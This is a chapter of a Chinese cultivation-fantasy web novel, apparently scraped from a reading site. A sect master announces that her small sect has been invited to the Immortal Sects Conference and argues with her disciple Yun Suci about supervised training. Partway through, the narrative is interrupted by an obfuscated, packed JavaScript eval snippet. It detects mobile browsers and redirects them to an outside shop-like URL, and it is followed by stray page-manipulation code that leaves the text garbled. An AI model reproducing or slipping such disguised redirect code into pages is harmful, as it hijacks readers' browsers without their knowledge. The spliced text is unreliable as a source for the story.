楼芷吟所住的山峰名唤小山峰,因为比大宗门其他山峰低矮许多,便得了这个名字。
用楼芷吟的原话是:今日小山峰,明日中山峰,来日大山峰。早晚有一天,咱们也能跻身上三宗,立为上四宗!
后面发现自己修行太过懈怠,索性直接放弃那登顶上三宗的念头。
眼下唯一的心愿,不过是别被底下那几个不省心的徒弟气得英年早逝,算万事大吉。
云夙辞端坐在楼芷吟对面,看起来格外的老实。
楼芷吟微微蹙了蹙眉,心里暗自纳闷。
记得自己并未罚过她,怎么今日这么安分老实?
云夙辞被她看得有些不自在,抬手轻轻摸了摸自己的脸,一时有些茫然。
呃……她也没做什么出格的事啊,干嘛要用这种眼神盯着她?
其他三人一直在观察楼芷吟的表情,生怕挨罚,虽然林柯和景明没犯事。
徐裁雾憋不住了。
她上半身猛地往前一倾,硬生生挤进云夙辞和楼芷吟中间,左看看右瞅瞅:“你俩看啥呢?咋都不说话?”
楼芷吟抬起手,曲起食指,照着徐裁雾凑过来的脑门就是一下。
“嘶——”徐裁雾疼得倒抽一口冷气,捂住额头,身子往后缩了缩,嚷嚷道,“好疼啊~师尊好过分~下手也太狠了!
她一边嚷,一边从指缝里偷瞄楼芷吟的脸色。
楼芷吟从鼻子里哼出两声短促的气音,“再耍宝,我真就罚你了。”
徐裁雾收声,放下手,腰板挺得笔直,双手规规矩矩搭在膝盖上,换了一副和旁边云夙辞如出一辙的、没什么表情的老实脸。
“好的,师尊。”
这变脸速度,看得林柯和景明一愣,随即两人肩膀开始小幅度地抖动,嘴角拼命往下压,却还是漏出几声极力克制的低笑。
“噗……咳咳……”
徐裁雾耳朵尖,听得一清二楚。
垂在身侧的手却悄悄摸了下去,精准地找到左右两人的腰,然后掐起一小块软肉,毫不留情地拧了下去。
“嘶——!”
“嗷!”
林柯和景明同时疼得龇牙咧嘴,表情扭曲。
坐在徐裁雾旁的云夙辞,为了让出她‘行凶’的空间,早在徐裁雾手往下探的时候就收腹,脊背挺得更直。
她内心一片麻木:“……”
干嘛呢干嘛呢?!
楼芷吟将几人的小动作尽收眼底,除了云夙辞,其余三人无一幸免,每人都挨了一记敲。
云夙辞:“……”
芜湖~
刚冒出来的那点促狭笑意,还没来得及漫到眼底,就被楼芷吟严肃的神色掐断了。
楼芷吟缓缓将一个紫檀木盒子推到桌中央,盒身嵌着细碎的银线,在微光里泛着淡淡的冷光,一看就不是寻常物件。
“师尊,这是……”林柯最先按捺不住好奇心,伸长脖子去看。
徐裁雾和景明也收了玩闹的心思,目光齐刷刷落在盒子上。
楼芷吟手指按在木盒的搭扣上,轻轻一拨,“咔哒”一声轻响,盒盖被掀开。
里面露出大红色烫金纹路的帖子,帖面龙飞凤舞写着“仙门大会”。
“仙门大会的参赛报名帖?”云夙辞稍有迟疑。
大红色烫金纹路,正是当年第一届仙门大会参赛报名帖独有的样式。
当年绥卿缠了她许久,一口一个喜庆,说要好好庆贺这开天辟地的头一回仙门盛会,她才松口定了这大红底色。
谁曾想他为此欢喜了一整年,嘴边还时常挂着下一届仙门大会。
可惜命运弄人,纵然如今转世的萧离叙也来赴会,站在这次大会的人也只是萧离叙。
那个满心盼着下一届仙门大会的绥卿,是真的再也没有下一次了。
时隔这么多年,这帖子的样式,竟分毫未改。
心底那点沉郁又翻了上来,缠得云夙辞心口发闷。
楼芷吟有些意外地瞥了她一眼:“你知道?”
云夙辞撑着下巴,随意说,“书中见过。”
“的确是仙门大会的参赛报名帖。”楼芷吟将帖子从盒中取出,展开平放在桌上,“方才送到宗门,是云渺宗发来的。”
青岚宗就是修真界末流里的末流,就连隔壁的无极宗比他们的名气还要高,他们怎么会收到报名帖?
徐裁雾凑了过来,轻轻碰了碰红帖的边角,脸上满是惊奇:“这帖子是真的?不是师尊你找人仿造的吧?”
楼芷吟啧了一声,“青岚宗建宗五十多年,这还是头一回收到仙门大会的帖子。”
“这东西那能有假?”
“若真是仿造的,你敢拿去仙门大会?”
“真、真的?我们能去?”景明的呼吸明显急促起来,脸上泛起红光,半晌才找到自己的声音。
楼芷吟再次保证:“保真。”
景明格外的激动:“仙门大会!那可是仙门大会!五大世家、上三宗都会去!我们能见到那些传说中的天才!”
徐裁雾嫌弃:“你兴奋什么?连初赛都不一定能过,怎么可能见到那些天之骄子?”
世人皆知,仙门大会是修真界年轻一辈崭露头角的盛事。
可说到底,这世间从不是人人都有资格站上真正的大会擂台。
万千后辈修士都得先历经初赛筛选,唯有熬过初选、脱颖而出,拿到准入资格,才有机会踏入仙门大会的正场,与那些生来便身负机缘、底蕴深厚的天之骄子同台对垒。
若无足够实力,连和天骄交手的资格,都轮不到。
景明可不管这些,心里满是想着能遇到自己的毕生楷模,“即便不能遇上,起码能和萧师兄呼吸过同一片空气。”
景明一颗心早飞得没边了,惦念着能不能撞见自己心心念念的此生楷模。
“就算无缘亲眼见到萧师兄,那也无妨,就算不能遇上,起码能和萧师兄呼吸过同一片空气。”
单单这样,便已经足够叫他心生欢喜了。
云夙辞一度以为她听错了:“师兄崇拜之人是?”
景明是名剑修,他崇拜的人不会是她想的那位吧?
景明喜眉笑眼:“凌霄剑宗的萧离叙。”
林柯摇了摇头:“你啊,一提到萧离叙就没个正形,咱们眼下最该想的是怎么赢了这初赛。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484589|201930||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他们此番能否取胜,全凭机缘造化。
若是运气尚可,碰到那些小宗门的弟子,尚有一搏的底气,胜算还算可观。
可若是时运不济,撞到中上流宗门的弟子,那便再无周旋的余地,也只能束手无策,打道回府。
再者,上次他跟小师妹在秘境里得罪了萧离叙一事,他半字没敢跟景明提。
真要是说了,以景明的性子,怕是当场就要掐死他,再连着甩他好几个霹雳大巴掌,打得他眼冒金星,爹娘都认不出。
楼芷吟指尖轻叩桌面,眼神扫过四人,语气郑重:“此次仙门大会,咱们青岚宗虽拿到了参赛资格,但实力悬殊,不求名次,只求能让你们出去历练一番,长长见识。”
“过几日成洛她们两个也该回来了。”
说完,楼芷吟又说:“阿辞,你随他们一同前去。”
云夙辞很是抗拒:“师尊,我修为低微,去了也是给宗门丢脸,还是不去了。”
她如今只想藏在这小宗门里安稳度日,不愿卷入那些是是非非。
不然她去了,又得去当傻子骗人。
楼芷吟眉峰一蹙,当场便出声反驳:“这怎么行?你师兄师姐尽数都过去了,偏偏留你一人不去,像什么样子?”
话音落下,她抬手重重一拍桌案,清脆的拍桌声骤然响起,态度坚决至极:“从今日起,我便亲自盯着你修行,半点懈怠都不许有!”
一旁的云夙辞心头猛地一跳,险些维持不住自己的表情,心底暗自焦灼。
若是被人日日看管修炼,那还得了?
她连忙出声委婉推脱:“师尊,其实您大可不必这般费心……”
楼芷吟语气强硬,半点不肯退让:“不行!此事没得商量!”
“弟子也不同意师尊时时刻刻盯着我!”云夙辞硬着头皮表态。
“阿辞!”
“师尊!”
“阿辞!”
“师尊!”
一来一回,师徒二人各执一词,声声辩驳此起彼伏,谁也不肯先松口。
三位同门静静旁观,看了好一出酣畅淋漓的师徒对峙戏码。
几番拉扯下来,不出所料,终究还是心软的楼芷吟率先败下阵来。
她无奈叹了口气,退了一步,定下折中条件。
“那我给你一个月的期限,你必须突破到练气八层。”
云夙辞闻言应下:“好。”
别说突破练气八层,就是筑基也行。
心里已经开始盘算怎么把这一个月糊弄过去。
楼芷吟看她答应得爽快,反倒不放心,狐疑地打量她。
“你该不会又打什么鬼主意吧?”
“师尊多虑了。”云夙辞表情诚恳,眼皮都没多眨一下,“弟子一定勤加修炼,不辜负师尊期望。”
楼芷吟迟疑:“是吗?”
徐裁雾搂着云夙辞脖子,“师尊放心,我看着师妹,绝对会还你一个天才。”
她一边说,一边用胳膊肘蹭了蹭云夙辞的脸颊,嘴角藏着狡黠的笑意。
楼芷吟眼皮狠狠一跳。
有你?
有你看着,老娘更不放心!